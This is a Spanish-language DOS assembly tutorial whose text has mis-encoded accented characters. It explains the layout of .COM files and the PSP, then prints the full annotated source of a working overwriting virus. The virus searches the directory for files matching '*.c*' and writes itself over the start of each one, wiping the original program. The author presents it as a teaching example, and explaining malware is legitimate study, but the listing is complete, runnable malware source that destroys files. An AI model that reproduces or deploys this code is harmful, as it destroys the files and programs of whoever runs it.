Los archivos COM tienen como m ximo 65536 bytes de extensión, que
"curiosamente" coinciden con 0FFFFh, que es el m ximo valor que puede tener
un registro de 16 bits.
Por lo tanto, cualquier dirección dentro del COM tendr en común el
registro de segmento, y con el de desplazamiento se podr averiguar el
lugar donde se encuentra cualquier cosa en el archivo.
El .COM tiene tambi‚n una zona normalmente que va de 0 a 100h en la
que tiene el PSP, zona de datos en la que entre otras cosas est la Dta
( para trabajar con ficheros, a partir del Offset 80h )
Pongo un ejemplo ahora de cabecera, y despu‚s un programa COM completo
pero sencillito, aunque con cosas que se puedan comentar ( para que no se
os olviden cosillas mientras )
.MODEL TINY ; Indica que es peque¤ito ;)
.CODE ; Código
ORG 100h ; sta es la dirección a partir de la
;cual empieza el código, normalmente es
;100h para dejar espacio al PSP
Start: jmp Entrada
[Datos]
Entrada PROC
[Codigo]
Entrada ENDP
END Start
Entrada es un procedimiento al que se puede llamar con por ejemplo el
salto del principio. No son necesarios, y quiz a m s de uno le ayude
quit rselos de enmedio. Si hay que cerrar el Start, que abre el programa.
Hay m s líneas que se pueden poner en la cabecera, como MODEL en vez de
ser TINY que sea SMALL por ejemplo, o:
CODIGO SEGMENT CODE
ASSUME DS:CODIGO ES:CODIGO
Lo que abre un segmento de código ( o sea, el Com ), y hace que los
registros de segmento apunten a ‚l. Al final habría que poner un:
CODIGO ENDS
Justo antes del "END Start" pero despu‚s de un posible "Entrada ENDP"
Aquí va un ejemplo de programa .COM en lenguaje ensamblador. Se trata
de un virus, o m s bien, algo que podría ser un virus, ya que es de tipo
sobreescritura. El caso es que al utilizar interrupciones, ser peque¤ito
y tal, es lo ideal para comentar en ‚ste archivo.
Aclaro ahora que mis intenciones no son las de distribuir ‚stas cosas
para que la gente suelte virus por ahí, es m s, lo que ahora presento no
llegaría precisamente muy lejos.
virus segment
org 100h
assume cs:virus ; No es muy necesario: CS va a ser el
; virus
len equ offset last-100h ; Nueva orden que no coment‚ !. Len
;es una variable que se va a utilizar
;en el programa, y equ se encarga de
;asignarla. Hace que len valga la
;dirección del offset de "last"
;rest ndole 100h ( el PSP ). Se trata
;del tama¤o del programa
start: mov ah,04eh ; En dx est la com_mask, y se va a usar la
xor cx,cx ;función 4eh de la interrupción 21h, que
lea dx,com_mask ;es encontrar el primer archivo del
int 21h ;directorio de la forma que hay en la
;dirección a la que apunta dx, o sea, que
;buscar el primer archivo .c* ( pretende
;encontrar un com )
open_file: mov ax,3d02h ; La función 3d abre el archivo, y AL puesto
mov dx,9eh ;a 2 indica que se abrir para lectura y
int 21h ;escritura; a uno indicaría sólo lectura por
;ejemplo. Dx vale 9eh porque es el valor
;de la DTA, donde se contienen los datos
;del archivo encontrado.
Infect: mov cx,len ; En cx queda la longitud del virus
lea dx,start ; Y dx apunta al principio del virus
mov ah,40h ; La función 40h de la Int21h consiste en la
int 21h ;escritura en el archivo; cx indica la
;cantidad de bytes a escribir, y dx la
;dirección a partir de la cual se copian. Por
;lo tanto, se copiar todo ‚ste código al
;principio del programa abierto,
;sobreescribiendo lo que hubiese
;anteriormente
Next: mov ah,3eh ; Cierra el archivo, función 3eh de la Int21h
int 21h
mov ah,4fh ; Busca el siguiente archivo
int 21h
jnb open_file ; Si lo encuentra, salta a open_file, para
;abrir e infectar.
com_mask: db "*.c*",0 ; El 0 del final es necesario siempre que se
;opera con archivos.
last: db 090h ; Se trata de un byte para marcar el final
;del virus ( para el equ del principio )
virus ends
end start
En resumen, lo que hace es buscar el primer archivo que cumpla ser
*.c* del directorio, lo infecta y busca otro. Si lo encuentra, tambi‚n
lo infectar , así hasta que no quede ninguno.
Una cosa que os puede parecer curiosa es que use jnb para saber si hay
algún archivo m s en el directorio. Bien, ‚sto lo hace porque cuando el
resultado de la interrupción es un error ( como por ejemplo que no haya
ningún archivo ), el flag de acarreo se pone a uno. Por tanto, salta con
jnb si no ha habido ningún fallo.